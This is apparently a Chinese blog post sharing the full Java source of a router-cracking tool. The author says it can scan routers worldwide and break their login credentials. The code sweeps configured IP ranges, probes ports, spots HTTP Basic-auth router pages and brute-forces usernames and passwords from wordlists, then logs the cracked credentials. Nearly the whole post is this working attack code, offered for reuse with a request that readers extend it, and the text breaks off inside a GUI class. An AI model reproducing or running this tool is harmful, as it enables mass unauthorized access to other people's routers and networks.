zoukankan      html  css  js  c++  java
  • 路由器扫描的Java源码

    这个源码不是本人写的,是我原来的领导写的,我们都叫他东哥,这个是东留给我的一个小资源,好佩服他哦,这个东西可以用来扫描全世界的路由器,破解路由器账户和密码

    当然是简单的了。我能力不够没有更完善的补充下。希望有能力的人做成界面形式,帮忙完善下。

    1.java代码:

    package cn.com.cisec.routercrack;
    
    import java.io.BufferedInputStream;
    import java.io.FileInputStream;
    import java.io.InputStream;
    import java.util.ArrayList;
    import java.util.List;
    import java.util.Properties;
    
    public class App {
        private static String tag  = App.class.getSimpleName();
        /**
         * ping超时时间
         */
        public static int pingTimeout = 5000;
        /**
         * socket链接超时时间
         */
        public static int socketTimeout =5000;
        /**
         * http请求超时时间
         */
        public static int httpTimeout =5000;
        /**
         * 线程数量
         */
        public static int threadCount =100;
        
        public static List<Integer> ports ;
        
        public static List<String> routerInfo ;
        
        
        public static void main(String[] args) {
            //MainFrame.createAndShowGUI();
            start();//开始执行破解线程
        }
        /**
         * 开始破解
         */
        public static void start(){
            initConfig();
            List<Thread> list = new ArrayList<Thread>();
            for (int i = 0; i < threadCount; i++) {
                Thread t  =new CrackThread(pingTimeout,socketTimeout,httpTimeout,ports,routerInfo);
                list.add(t);
                t.start();
            }
            //等待线程执行完毕
            for(Thread t : list){
                try {
                    t.join();
                } catch (InterruptedException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
            // new CrackThread().start();
            //线程执行结束需要关闭打开的文件
            CrackThread.writer.close();
            LogUtil.i(tag, "程序结束");
        }
        /**
         * 初始化配置文件
         */
        public static void initConfig(){
            Properties p = null;
            try {
                InputStream in = new BufferedInputStream(new FileInputStream(FileUtil.getConfigFile()));
                p = new Properties();        
                p.load(in);
                threadCount = Integer.parseInt(p.getProperty("threadCount","5000").trim());
                pingTimeout = Integer.parseInt(p.getProperty("pingTimeout","5000").trim());
                socketTimeout = Integer.parseInt(p.getProperty("socketTimeout","5000").trim());
                httpTimeout = Integer.parseInt(p.getProperty("httpTimeout","5000").trim());
                String portsString  = p.getProperty("ports", "80").trim();
                String[] portArray =  portsString.split(",");
                ports=new ArrayList<Integer>();
                for(String portSting:portArray){
                    ports.add(Integer.parseInt(portSting));
                }
                String routerInfoString  = p.getProperty("routerInfo","route,Router,TD").trim();
                String[] routerInfoArray =  routerInfoString.split(",");
                routerInfo = new ArrayList<String>();
                for(String routerStr:routerInfoArray){
                    routerInfo.add(routerStr);
                }
            } catch (Exception e) {
                //e.printStackTrace();
                LogUtil.i(tag, "读取配置文件失败,使用默认配置");
                //System.exit(0);
                ports=new ArrayList<Integer>();
                ports.add(80);
                routerInfo = new ArrayList<String>();
                routerInfo.add("router");
            }       
        }
    }
    package cn.com.cisec.routercrack;
    
    import java.io.BufferedReader;
    import java.io.File;
    import java.io.FileNotFoundException;
    import java.io.FileReader;
    import java.io.IOException;
    
    public class ConfigFileReader {
        private static String tag =ConfigFileReader.class.getSimpleName();
        /**
         *用户名配置文件
         */
        private BufferedReader userReader;
        /**
         * 密码配置文件
         */
        private BufferedReader  passwordReader;
        
        public ConfigFileReader(){
            File userConfigFile =FileUtil.getUserConfigFile();
            File passwordConfigFile = FileUtil.getPasswordConfigFile();
            try {
                userReader = new BufferedReader(new FileReader(userConfigFile));
                passwordReader = new BufferedReader(new FileReader(passwordConfigFile));
            } catch (FileNotFoundException e) {
                LogUtil.i(tag, "用户名或密码配置文件没有找到,请检查config目录下是否存在配置文件");
                e.printStackTrace();
            }
            
        }
        /**
         * 获取用户名
         * 
         * @return 如果为null则读取结束
         */
        public String getUser(){
            String user=null;
            try {
                user = userReader.readLine();
                if(user==null){
                    userReader.close();
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
            return user;
        }
        /**
         * 获取密码
         * 
         * @return 如果为null则读取结束
         */
        public String getPassword(){
            String password=null;
            try {
                password = passwordReader.readLine();
                if(password==null){
                    passwordReader.close();
                }
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            return password;
        }
        
        public void close(){
            
            try {
                passwordReader.close();
                userReader.close();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }
    }
    package cn.com.cisec.routercrack;
    
    import java.io.IOException;
    import java.net.InetAddress;
    import java.net.InetSocketAddress;
    import java.net.Socket;
    import java.net.SocketAddress;
    import java.net.UnknownHostException;
    import java.util.HashMap;
    import java.util.List;
    import java.util.Map;
    import java.util.concurrent.TimeUnit;
    
    import org.apache.commons.codec.binary.Base64;
    import org.apache.http.Header;
    import org.apache.http.HttpResponse;
    import org.apache.http.client.ClientProtocolException;
    import org.apache.http.client.HttpClient;
    import org.apache.http.client.methods.HttpGet;
    import org.apache.http.impl.client.HttpClientBuilder;
    import org.apache.http.impl.conn.BasicHttpClientConnectionManager;
    
    public class CrackThread extends Thread {
        private static String tag = CrackThread.class.getSimpleName();
        private static int count = 0;
        private boolean isStop = false;
        /**
         * 记录是哪个线程
         */
        private int who;
        private static IpFactory ipFactory = IpFactory.getInstance();
        public static ResultFileWriter writer = ResultFileWriter.getInstance();
        /**
         * ping测试的超时时间
         */
        private int pingTimeout;
        /**
         * socket链接测试的超时时间
         */
        private int socketTimeout;
        /**
         * 是路由器的标示
         */
        public  List<String> routerInfo ;
        /**
         * http请求超时时间
         */
        private int httpTimeout;
        
        /**
         * 需要扫描的端口号
         */
        public  List<Integer> ports ;
        public CrackThread(int pingTimeout, int socketTimeout, int httpTimeout,List<Integer> ports,List<String> routerInfo) {
            count++;
            who = count;
            this.pingTimeout=pingTimeout;
            this.socketTimeout=socketTimeout;
            this.ports=ports;
            this.routerInfo =routerInfo;
            this.httpTimeout=httpTimeout;
        }
    
    
        @Override
        public void run() {
    
            while (!isStop) {
                String ip = ipFactory.getIp();
                if (ip == null) {
                    isStop = true;
                } else {
                    //LogUtil.i("CrackThread" + who,"获取ip地址:"+ ip);
                    boolean isPingOk  =isAddressAvailable(ip);
                    if(isPingOk){
                        LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"可达");
                        writer.writeActivateIp(ip);
                        //测试端口是否可达
                        for(int port:ports){
                            boolean isPortOk = isPortAvailable(ip,port);
                            if(isPortOk){
                                LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"开启");
                                writer.writeOpenPortInfo(ip,port);
                                Map<String,Object> basicInfo =getBasicInfo(ip,port);
                                boolean isBasic = (boolean) basicInfo.get(IS_BASIC);
                                if(isBasic){
                                    LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式");
                                    writer.writeBasicInfo(ip,port);
                                    String headInfo = (String) basicInfo.get(WWW_AUTHENTICATE);//获得头信息
                                    boolean isRouter =false;
                                    for(String info:routerInfo){
                                        if(headInfo.contains(info)){
                                            isRouter=true;
                                            break;
                                        }
                                    }
                                    if(isRouter){
                                        LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式且是路由器");
                                        writer.writeRouterInfo(ip, port);    
                                    }else{
                                        LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式不是路由器");
                                    }
                                    Map<String,Object> crackResultInfo = crackBasic(ip, port);
                                    boolean isCrackOk = (boolean) crackResultInfo.get(IS_CRACK_OK);
                                    if(isCrackOk){
                                        String user  = (String) crackResultInfo.get(USERNAME_OK);
                                        String password  = (String) crackResultInfo.get(PASSWORD_OK);
                                        if(isRouter){
                                            LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式且是路由器,破解成功用户名:"+user+",密码:"+password);
                                            writer.writeRouterOkInfo(ip, port,user, password);    
                                        }else{
                                            LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式,破解成功用户名:"+user+",密码:"+password);
                                            writer.writeBasicOkInfo(ip, port,user, password,headInfo);
                                        }
                                            
                                    }else{
                                        LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式,破解失败");
                                    }
                                    
                                }else{
                                    LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"不是Basic认证方式");
                                }
                                /*boolean isBasic = isBasic(ip,port);
                                if(isBasic){
                                    LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"是Basic认证方式");
                                    writer.writeBasicInfo(ip,port);
                                }else{
                                    LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的端口"+port+"不是Basic认证方式");
                                }*/
                                
                            }else{
                                LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"的"+"端口"+port+"未开启");
                            }
                        }
                    }else{
                        LogUtil.i("CrackThread" + who,"ip地址:"+ ip+"不可达");
                    }
                }
                /*
                 * try { sleep(3000); } catch (InterruptedException e) { // TODO
                 * Auto-generated catch block e.printStackTrace(); }
                 */
            }
        }
        /**
         * basic反馈的信息长量
         */
        private static final String IS_BASIC="isBasic";
        /**
         * 反馈的头信息
         */
        private static final String WWW_AUTHENTICATE="WWW-Authenticate";
        /**
         * basic状态码
         */
        private static final int BASIC_STATUSCODE=401;
        /**
         * 获取basic的相关信息
         * @param ip
         * @param port
         * @return 返回的map对象包含是否basic认证key=isBasic,basic认证的头部信息等key=WWW-Authenticate
         */
        public Map<String,Object> getBasicInfo(String ip,int port){
            Map<String, Object> result  = new HashMap<String, Object>();
            HttpClientBuilder builder  =  HttpClientBuilder.create();
            BasicHttpClientConnectionManager connManager =  new BasicHttpClientConnectionManager() ;
            connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS);
            builder.setConnectionManager(connManager);
            HttpClient client  =  builder.build();
            HttpGet httpGet = new HttpGet("http://"+ip+":"+port);
            try {
                HttpResponse response = client.execute(httpGet);
                LogUtil.d(tag,response.getStatusLine().getStatusCode()+"");
                if(BASIC_STATUSCODE==response.getStatusLine().getStatusCode()){
                    result.put(IS_BASIC, true);
                    Header[] hs = response.getHeaders(WWW_AUTHENTICATE);
                    for(Header h:hs){
                        String headInfo = h.getValue();//服务器反馈的WWW_AUTHENTICATE头信息
                        //LogUtil.d(tag,headInfo);
                        //String[] infos = headInfo.split(""");
                        /*for(String i:infos){
                            LogUtil.d(tag,i);
                        }*/
                        result.put(WWW_AUTHENTICATE, headInfo);
                    }
                }else{
                    result.put(IS_BASIC, false);
                }
            } catch (Exception e) {
                //e.printStackTrace();
                result.put(IS_BASIC, false);
            }
            
            return result;
        }
        /**
         * 认证basic的头
         */
        private static final String AUTHORIZATION="Authorization";
        /**
         * 是否破解成功
         */
        private static final String IS_CRACK_OK="is_crack_ok";
        
        private static final String USERNAME_OK ="user";
        private static final String PASSWORD_OK="password";
        /**
         * 对basic进行破解,成功反馈相关信息
         * @param ip
         * @param port
         * @return
         */
        public Map<String,Object> crackBasic(String ip,int port){
            ConfigFileReader reader = new ConfigFileReader();
            boolean userReadOk =false;
            while(!userReadOk){
                String user = reader.getUser();
                if(user!=null){
                    boolean passwordReadOk=false;    
                    while(!passwordReadOk){
                        String password  = reader.getPassword();
                        if(password!=null){
                            HttpClientBuilder builder  =  HttpClientBuilder.create();
                            BasicHttpClientConnectionManager connManager =  new BasicHttpClientConnectionManager() ;
                            connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS);
                            builder.setConnectionManager(connManager);
                            HttpClient client  =  builder.build();
                            HttpGet httpGet = new HttpGet("http://"+ip+":"+port);
                            String value=user+":"+password;
                            value = Base64.encodeBase64String(value.getBytes());
                            value="Basic "+value;
                            LogUtil.d(tag, value);
                            httpGet.setHeader(AUTHORIZATION, value);
                            //Authorization:"Basic YWRtaW46MTIzcXdlMTIz"
                            try {
                                HttpResponse response = client.execute(httpGet);
                                if(response.getStatusLine().getStatusCode()==200){
                                    Map<String,Object> result  = new HashMap<String, Object>();
                                    result.put(IS_CRACK_OK, true);
                                    result.put(USERNAME_OK,user);
                                    result.put(PASSWORD_OK, password);
                                
                                    return result;
                                }
                            } catch (ClientProtocolException e) {
                                // TODO Auto-generated catch block
                                e.printStackTrace();
                            } catch (IOException e) {
                                // TODO Auto-generated catch block
                                e.printStackTrace();
                            }
                        }else{
                            passwordReadOk=true;
                        }
                    }
                }else{
                    userReadOk=true;
                }
                
            }
            Map<String,Object> result  = new HashMap<String, Object>();
            result.put(IS_CRACK_OK, false);
            return result;
        }
        
        /**
         * 判断是否basic认证
         * @param ip
         * @param port
         * @return
         */
        public boolean isBasic(String ip,int port){
            int basicStatusCode=401;
            HttpClientBuilder builder  =  HttpClientBuilder.create();
            BasicHttpClientConnectionManager connManager =  new BasicHttpClientConnectionManager() ;
            connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS);
            builder.setConnectionManager(connManager);
            HttpClient client  =  builder.build();
            HttpGet httpGet = new HttpGet("http://"+ip+":"+port);
            try {
                HttpResponse response = client.execute(httpGet);
                LogUtil.d(tag,response.getStatusLine().getStatusCode()+"");
                if(basicStatusCode==response.getStatusLine().getStatusCode()){
                    return true;
                }
            } catch (ClientProtocolException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            return false;
        }
        
        /**
         * ip地址是否可达
         * @param ip
         * @return
         */
        public boolean isAddressAvailable(String ip) {
            try {
                InetAddress address = InetAddress.getByName(ip);
                return address.isReachable(App.pingTimeout);
            } catch (UnknownHostException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            return false;
        }
        /**
         * 端口是否开启
         * @param ip
         * @param port
         * @return
         */
        public boolean isPortAvailable(String ip,int port){
            Socket socket = new Socket();
            SocketAddress endpoint;
            try {
                endpoint = new InetSocketAddress(InetAddress.getByName(ip), port);
                socket.connect(endpoint,App.socketTimeout);
                socket.close();
                return true;
            } catch (Exception e) {
                //e.printStackTrace();
                return false;
            } 
        }
    }
    package cn.com.cisec.routercrack;
    
    import java.io.File;
    import java.net.URL;
    import java.util.ArrayList;
    import java.util.List;
    
    public class FileUtil {  
        /** 
         * syslog应用程序被打包成为jar包发布。在syslog服务中,需要在jar文件位置创建临时文件夹,以保存数据。 
         * 临时文件夹:1 读文件中,ftp到中央日志服务的文件,被放到临时文件夹后再读。 
         *          2 分析会后的日志,保存一个月。如果选择了备份,则把每天需要备份的文件移动到一个临时备份文件夹。 
         * 逻辑:如果getDirFromClassLoader()方法计算不出来path,就取System.getProperty("user.dir")用户工作目录 
         * */  
        public static String getJarDir(){  
            String path = getDirFromClassLoader();  
            if(path == null){  
                path = System.getProperty("user.dir");  
            }  
            return path;  
        }  
          
        /** 
         * 从通过Class Loading计算路径: 
         * 1 class文件通过jar包加载: 
         * 如果为jar包,该包为d:/test/myProj.jar 
         * 该方法返回d:/test这个目录(不受用户工作目录影响) 
         * 提示:在jar包加载 的时候,通过指定加载FileUtil的class资源得到jar:<url>!/{entry}计算出加载路径 
         * 2 class文件直接被加载: 
         * 如果是web工程,class文件放在D:	oolsapache-tomcat-5.5.27webappswebProjWEB-INFclasses 
         * 该方法返回D:	oolsapache-tomcat-5.5.27webappswebProjWEB-INF 
         * 即返回放class文件夹的上一层目录。 
         * */  
        private static String getDirFromClassLoader(){  
            try {  
                String path = FileUtil.class.getName().replace(".", "/");  
                path ="/"+path+".class";  
                URL url=FileUtil.class.getResource(path);  
                String jarUrl= url.getPath();  
                if(jarUrl.startsWith("file:")){  
                    if(jarUrl.length()>5){  
                        jarUrl = jarUrl.substring(5);  
                    }  
                    jarUrl = jarUrl.split("!")[0];  
    
                }else{  
                    jarUrl = FileUtil.class.getResource("/").toString().substring(5);  
                }  
                File file = new File(jarUrl);  
                return file.getParent();  
                  
            } catch (Exception e) {  
            }  
            return null;  
        }  
          
        /** 
         * 找出指定目录及其子目录下,满足指定后缀的文件的绝对路径。 
         * 提示:方法中出现异常被内部捕获。 
         * @param dir 指定目录 
         * @param suffix 文件名后缀 
         *  
         * @throws IllegalArgumentException  
         * */  
        public static List<String> find(String dir,String suffix){  
            List<String> list = new ArrayList<String>();  
            try {  
                File file = new File(dir);  
                if(file.exists() && file.isDirectory()){  
                    find(file, suffix, list);  
                }else{  
                    throw new IllegalArgumentException("param "dir" must be an existing directory .dir = "+dir);  
                }  
            } catch (Exception e) {  
                e.getMessage();  
            }  
            return list;  
        }  
        /** 
         * 递归遍历,查找满足后缀的文件 
         * @param dirFile 必须为一个存在的目录.不能为null 
         * @param suffix 
         * @param list 递归遍历目录记录满足后缀的文件的绝对路径。 
         * */  
        private static void find(File dirFile,String suffix,List<String> list){  
            if(dirFile.exists() && dirFile.isDirectory()){  
                File[] subFiles = dirFile.listFiles();  
                for(File subFile : subFiles) {  
                    if(subFile.isDirectory()){  
                        find(subFile, suffix, list);  
                    }else{  
                        String path = subFile.getAbsolutePath();  
                        if(path.endsWith(suffix)){  
                            list.add(path);  
                        }  
                    }  
                }  
            }else{  
                throw new IllegalArgumentException("param "dir" must be an existing directory .dir = "+dirFile.getAbsolutePath());  
            }  
        }  
        /**
         * 获得IP地址配置文件
         * @return
         */
        public static File getIpConfigFile(){
            return new File(getJarDir()+"/config/","ips.txt");
        }
        /**
         * 获得用户名配置文件
         * @return
         */
        public static File getUserConfigFile(){
            return new File(getJarDir()+"/config/","users.txt");
        }
        /**
         * 获得密码配置文件
         * @return
         */
        public static File getPasswordConfigFile(){
            return new File(getJarDir()+"/config/","passwords.txt");
        }
        /**
         * 记录ping成功的ip
         * @return
         */
        public static File getActivateIpsFile(){
            return new File(getJarDir()+"/result/","activityIps.txt");
        }
        /**
         * 记录打开端口的ip
         * @return
         */
        public static File getOpenPortIpsFile(){
            return new File(getJarDir()+"/result/","openPortInfos.txt");
        }
        /**
         * 记录是basic认证的ip
         * @return
         */
        public static File getBasicIpsFile(){
            return new File(getJarDir()+"/result/","basicInfos.txt");
        }  
        /**
         * 记录basic认证破解成功的ip 用户名和密码
         * @return
         */
        public static File getBasicOkFile(){
            return new File(getJarDir()+"/result/","basicOkInfos.txt");
        }
        /**
         * 记录是basic认证但是路由的信息
         * @return
         */
        public static File getRouterFile(){
            return new File(getJarDir()+"/result/","routerInfos.txt");
        }
        /**
         * 记录是basic认证是路由破解成功的信息
         * @return
         */
        public static File getRouterOkFile(){
            return new File(getJarDir()+"/result/","routerOkInfos.txt");
        }
        public static File getConfigFile(){
            return new File(getJarDir()+"/config/","config.properties");
        }
    }  
    package cn.com.cisec.routercrack;
    
    import java.io.BufferedReader;
    import java.io.File;
    import java.io.FileNotFoundException;
    import java.io.FileReader;
    import java.io.IOException;
    import java.util.ArrayList;
    import java.util.List;
    import java.util.regex.Matcher;
    import java.util.regex.Pattern;
    
    
    
    public class IpFactory {
        
        /**
         * IP地址配置文件路径
         */
        private  File ipsFile;
    
        /**
         * 是否需要读取文件
         */
        private boolean isRead=true;
        
        private long minIpValue;
        private long maxIpValue;
        private long currentIPValue;
        
        private static IpFactory factory=null;
        /**
         * 读取Ip地址配置文件
         */
        private BufferedReader reader;
        
        private IpFactory(){
            ipsFile  = FileUtil.getIpConfigFile();
            try {
                reader  = new BufferedReader(new FileReader(ipsFile));
            } catch (FileNotFoundException e) {
                LogUtil.i("IpFactory","错误:IP地址配置文件没有找到!");
                System.exit(0);
            }
        }
        /**
         * 获取工厂实例
         * @return
         */
        public static IpFactory getInstance(){
            if(factory==null){
                factory =  new IpFactory();
            }
            return factory;
        }
        /**
         * 加载IP配置文件中的数据到内存中
         * @return 如果加载完成返回false 否则为true
         */
        private boolean loadIps(){
            try {
                String net  = reader.readLine();
                if(net==null){
                    //reader.close();
                    return false;
                }else{
                    //读取到的内容不为NULL
                    net.replace(" ", "");
                    if(IpUtil.isNet(net)){
                        String ip  =net.substring(0, net.lastIndexOf("/"));
                        int mask = Integer.parseInt(net.substring(net.lastIndexOf("/")+1));
                        minIpValue = IpUtil.getMinIpValue(ip, mask);
                        maxIpValue = IpUtil.getMaxIpValue(ip, mask);
                        currentIPValue=minIpValue;
                        //设置是否需要读取
                        isRead=false;
                        return true;
                    }else if(IpUtil.isNetRange(net)){
                        String[] ipArray  = net.split("-");
                        long tmpMin = IpUtil.getIpValue(ipArray[0]);
                        long tmpMax  =IpUtil.getIpValue(ipArray[1]);
                        if(tmpMax>tmpMin){
                            maxIpValue=tmpMax;
                            minIpValue=tmpMin;
                            currentIPValue=minIpValue;
                        }else{
                            maxIpValue=tmpMin;
                            minIpValue=tmpMax;
                            currentIPValue=tmpMax;    
                        }
                        isRead=false;
                        return true;
                    }else{
                        //不是网络地址,从新读取
                        return loadIps();
                    }
                }
            } catch (IOException e) {
                LogUtil.i("IpFactory.loadIps()", "错误:无法读取IP地址配置文件!");
                //System.exit(0);
                return false;
            }
            
        }
        /**
         * 提供给线程获取IP地址
         * @return 返回null则读取完成
         */
        public synchronized String getIp(){
            if(isRead){
                //是否需要读取ip
                if(!loadIps()){
                    //读取完成
                    return null;
                }
            }
            if(currentIPValue>=minIpValue&&currentIPValue<=maxIpValue){
                String ip  =IpUtil.valueToIp(currentIPValue);
                currentIPValue++;
                return ip;
            }else{
                isRead=true;
                return getIp();    
            }
        }
    }
    package cn.com.cisec.routercrack;
    
    import java.util.StringTokenizer;
    import java.util.logging.LogManager;
    import java.util.regex.Matcher;
    import java.util.regex.Pattern;
    
    public class IpUtil {
    
        /**
         * 获得实际的掩码的值
         * 
         * @param mask
         * @return
         */
        public static long getMaskValue(int mask) {
            return ((long) Math.pow(2, mask) - 1) << (32 - mask);
        }
    
        /**
         * 获得掩码的反码的值
         * 
         * @param mask
         * @return
         */
        public static long getUnMaskValue(int mask) {
            return (long) (Math.pow(2, 32 - mask) - 1);
        }
    
        /**
         * 根据IP地址获得它对应的值
         * 
         * @param ipAddress
         * @return
         */
        public static long getIpValue(String ipAddress) {
            StringTokenizer tokenizer = new StringTokenizer(ipAddress, ".");
            int a = Integer.parseInt(tokenizer.nextToken());
            int b = Integer.parseInt(tokenizer.nextToken());
            int c = Integer.parseInt(tokenizer.nextToken());
            int d = Integer.parseInt(tokenizer.nextToken());
            // System.out.println(a+"."+b+"."+c+"."+d);
            LogUtil.d("IpUtil.getIpValue", "转换的IP地址:" + a + "." + b + "." + c + "."
                    + d);
            long value = 0;
            value = ((long) a) << 24;
            value += ((long) b) << 16;
            value += ((long) c) << 8;
            value += d;
            LogUtil.d("IpUtil.getIpValue", "ip地在转换后的值:" + value);
            return value;
        }
    
        /**
         * 根据IP地址和掩码获得网络地址的值
         * 
         * @param ipAddress
         * @param mask
         * @return
         */
        public static long getNetValue(String ipAddress, int mask) {
            long ipValue = getIpValue(ipAddress);
            long maskValue = getMaskValue(mask);
            //System.out.println("========================="+ipValue);
            //System.out.println("============================"+maskValue);
            //System.out.println("========="+(ipValue & maskValue));
            return ipValue & maskValue;
        }
    
        /**
         * 获得最小的IP地址的值
         * 
         * @param ipAddress
         * @param mask
         * @return
         */
        public static long getMinIpValue(String ipAddress, int mask) {
            if (mask >= 0 && mask <= 32) {
                if (isIp(ipAddress)) {
                    //return getNetValue(ipAddress, mask) + 1;
                    return getNetValue(ipAddress, mask);
                } else {
                    new IllegalArgumentException("错误:Ip格式不正确");
                }
            } else {
                new IllegalArgumentException("错误:掩码应该大于等于0小于等于32");
            }
            return -1;
        }
    
        /**
         * 获得最大的IP的值
         * 
         * @param ipAddress
         * @param mask
         * @return
         */
        public static long getMaxIpValue(String ipAddress, int mask) {
            if (mask >= 0 && mask <= 32) {
                if (isIp(ipAddress)) {
                    //System.out.println("===="+getNetValue(ipAddress, mask));
                    //System.out.println("===="+getUnMaskValue(mask));
                    //return getNetValue(ipAddress, mask)+getUnMaskValue(mask)-1 ;
                    return getNetValue(ipAddress, mask)+getUnMaskValue(mask);
                } else {
                    new IllegalArgumentException("错误:Ip格式不正确");
                }
            } else {
                new IllegalArgumentException("错误:掩码应该大于等于0小于等于32");
            }
            return -1;
        }
    
        /**
         * 判断是否为IP地址
         * 
         * @param ipAddress
         * @return
         */
        public static boolean isIp(String ipAddress) {
            String regex = "^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$";
            Pattern p = Pattern.compile(regex);  
            Matcher m = p.matcher(ipAddress);
            if(m.matches()){
                StringTokenizer tokenizer = new StringTokenizer(ipAddress, ".");
                int a = Integer.parseInt(tokenizer.nextToken());
                int b = Integer.parseInt(tokenizer.nextToken());
                int c = Integer.parseInt(tokenizer.nextToken());
                int d = Integer.parseInt(tokenizer.nextToken());
                if(a>0&&a<=255&&b>=0&&b<=255&&c>=0&&c<=255&&d>=0&&d<=255){
                    return true;
                }else{
                    return false;
                }
            }else{
                return false;
            }
        }
        /**
         * 判断是否网络
         * @param net
         * @return
         */
        public static boolean isNet(String net){
            String regex = "^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\/\d{1,2}$";
            Pattern p = Pattern.compile(regex);  
            Matcher m = p.matcher(net);
            if(m.matches()){
                String ip  =net.substring(0, net.lastIndexOf("/"));
                LogUtil.d("IpUtil.isNet()", "ip地址:"+ip);
                if(isIp(ip)){
                    int mask = Integer.parseInt(net.substring(net.lastIndexOf("/")+1));
                    if(mask>=0&&mask<=32){
                        return true;
                    }else{
                        return false;
                    }
                }else{
                    return false;
                }
                
            }else{
                return false;
            }
        }
        /**
         * 是网络范围192.168.1.1-192.168.1.254
         * @param net
         * @return
         */
        public static boolean isNetRange(String net) {
            String regex = "^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\-\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$";
            Pattern p = Pattern.compile(regex);  
            Matcher m = p.matcher(net);
            if(m.matches()){
                String[] ipArray  = net.split("-");
                if(isIp(ipArray[0])&&isIp(ipArray[1])){
                    return true;
                }else{
                    return false;
                }
            }else{
                return false;
            }
        }
        /**
         * long转换为IP地址
         * @param value
         * @return
         */
        public static String valueToIp(long value) {
            long maxValue = 4294967295L;
            if (value > maxValue) {
                new IllegalArgumentException("错误:超出最大的值");
                return null;
            } else {
                long a, b, c, d;
                a = (long) (value & 0x00000000ff000000) >> 24;
    
                b = (long) (value & 0x0000000000ff0000) >> 16;
                c = (long) (value & 0x000000000000ff00) >> 8;
                d = (long) (value & 0x00000000000000ff);
                return a + "." + b + "." + c + "." + d;
            }
        }
    
    }
    package cn.com.cisec.routercrack;
    
    public class LogUtil {
        /**
         * 调试信息
         * @param tag
         * @param msg
         */
        public static void d(String tag,String msg){
            //System.out.println(tag+"====>>"+msg);
        }
        /**
         * 输出信息
         * @param tag
         * @param msg
         */
        public static void i(String tag,String msg){
            System.out.println(tag+"====>>"+msg);
        }
    }
    package cn.com.cisec.routercrack;
    
    import java.awt.BorderLayout;
    import java.awt.Dimension;
    import java.awt.Toolkit;
    import java.awt.event.ActionEvent;
    import java.awt.event.ActionListener;
    
    import javax.swing.GroupLayout;
    import javax.swing.GroupLayout.Alignment;
    import javax.swing.JFrame;
    import javax.swing.JLabel;
    import javax.swing.JPanel;
    import javax.swing.JTextField;
    
    public class MainFrame extends JFrame  implements ActionListener {
        /**
         * 
         */
        private static final long serialVersionUID = 765875537593801454L;
    
        public MainFrame() {
            super("路由破解");
     
            int frameWidth=800;//窗口宽度
            int frameHeight=600;//窗口高度
            Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
            setBounds((screenSize.width-frameWidth)/2, (screenSize.height-frameHeight)/2,frameWidth,frameHeight);//显示在屏幕中间
            //主窗口布局
            BorderLayout layout = new BorderLayout();
            JPanel contentPanel = new JPanel(); 
            contentPanel.setLayout(layout);
            //配置窗口
            JPanel configPanel = new JPanel(); 
            JLabel label1=  new JLabel("test1");
            JLabel label2  = new JLabel("test2");
            JTextField tf1=new JTextField();
            JTextField tf2  = new JTextField();
            GroupLayout configPanelLayout  = new GroupLayout(configPanel);
            configPanel.setLayout(configPanelLayout);
    
            // Turn on automatically adding gaps between components
            configPanelLayout.setAutoCreateGaps(true);
    
            // Turn on automatically creating gaps between components that touch
            // the edge of the container and the container.
            configPanelLayout.setAutoCreateContainerGaps(true);
    
            // Create a sequential group for the horizontal axis.
    
            GroupLayout.SequentialGroup hGroup = configPanelLayout.createSequentialGroup();
    
            // The sequential group in turn contains two parallel groups.
            // One parallel group contains the labels, the other the text fields.
            // Putting the labels in a parallel group along the horizontal axis
            // positions them at the same x location.
            //
            // Variable indentation is used to reinforce the level of grouping.
            hGroup.addGroup(configPanelLayout.createParallelGroup().
                     addComponent(label1).addComponent(label2));
            hGroup.addGroup(configPanelLayout.createParallelGroup().
                     addComponent(tf1).addComponent(tf2));
            configPanelLayout.setHorizontalGroup(hGroup);
    
            // Create a sequential group for the vertical axis.
            GroupLayout.SequentialGroup vGroup = configPanelLayout.createSequentialGroup();
    
            // The sequential group contains two parallel groups that align
            // the contents along the baseline. The first parallel group contains
            // the first label and text field, and the second parallel group contains
            // the second label and text field. By using a sequential group
            // the labels and text fields are positioned vertically after one another.
            vGroup.addGroup(configPanelLayout.createParallelGroup(Alignment.BASELINE).
                     addComponent(label1).addComponent(tf1));
            vGroup.addGroup(configPanelLayout.createParallelGroup(Alignment.BASELINE).
                     addComponent(label2).addComponent(tf2));
            configPanelLayout.setVerticalGroup(vGroup);        
                    
                    
            JPanel resultPanel = new JPanel(); 
            
            
            
            
            contentPanel.add(configPanel, BorderLayout.CENTER);
            contentPanel.add(resultPanel, BorderLayout.SOUTH);
            
            setContentPane(contentPanel);
        }
     
        
     
        //React to menu selections.
        public void actionPerformed(ActionEvent e) {
            if ("new".equals(e.getActionCommand())) { //new
               // createFrame();
            } else { //quit
                quit();
            }
        }
     
    
        protected void quit() {
            System.exit(0);
        }
     
        public static void createAndShowGUI() {
            MainFrame frame = new MainFrame();
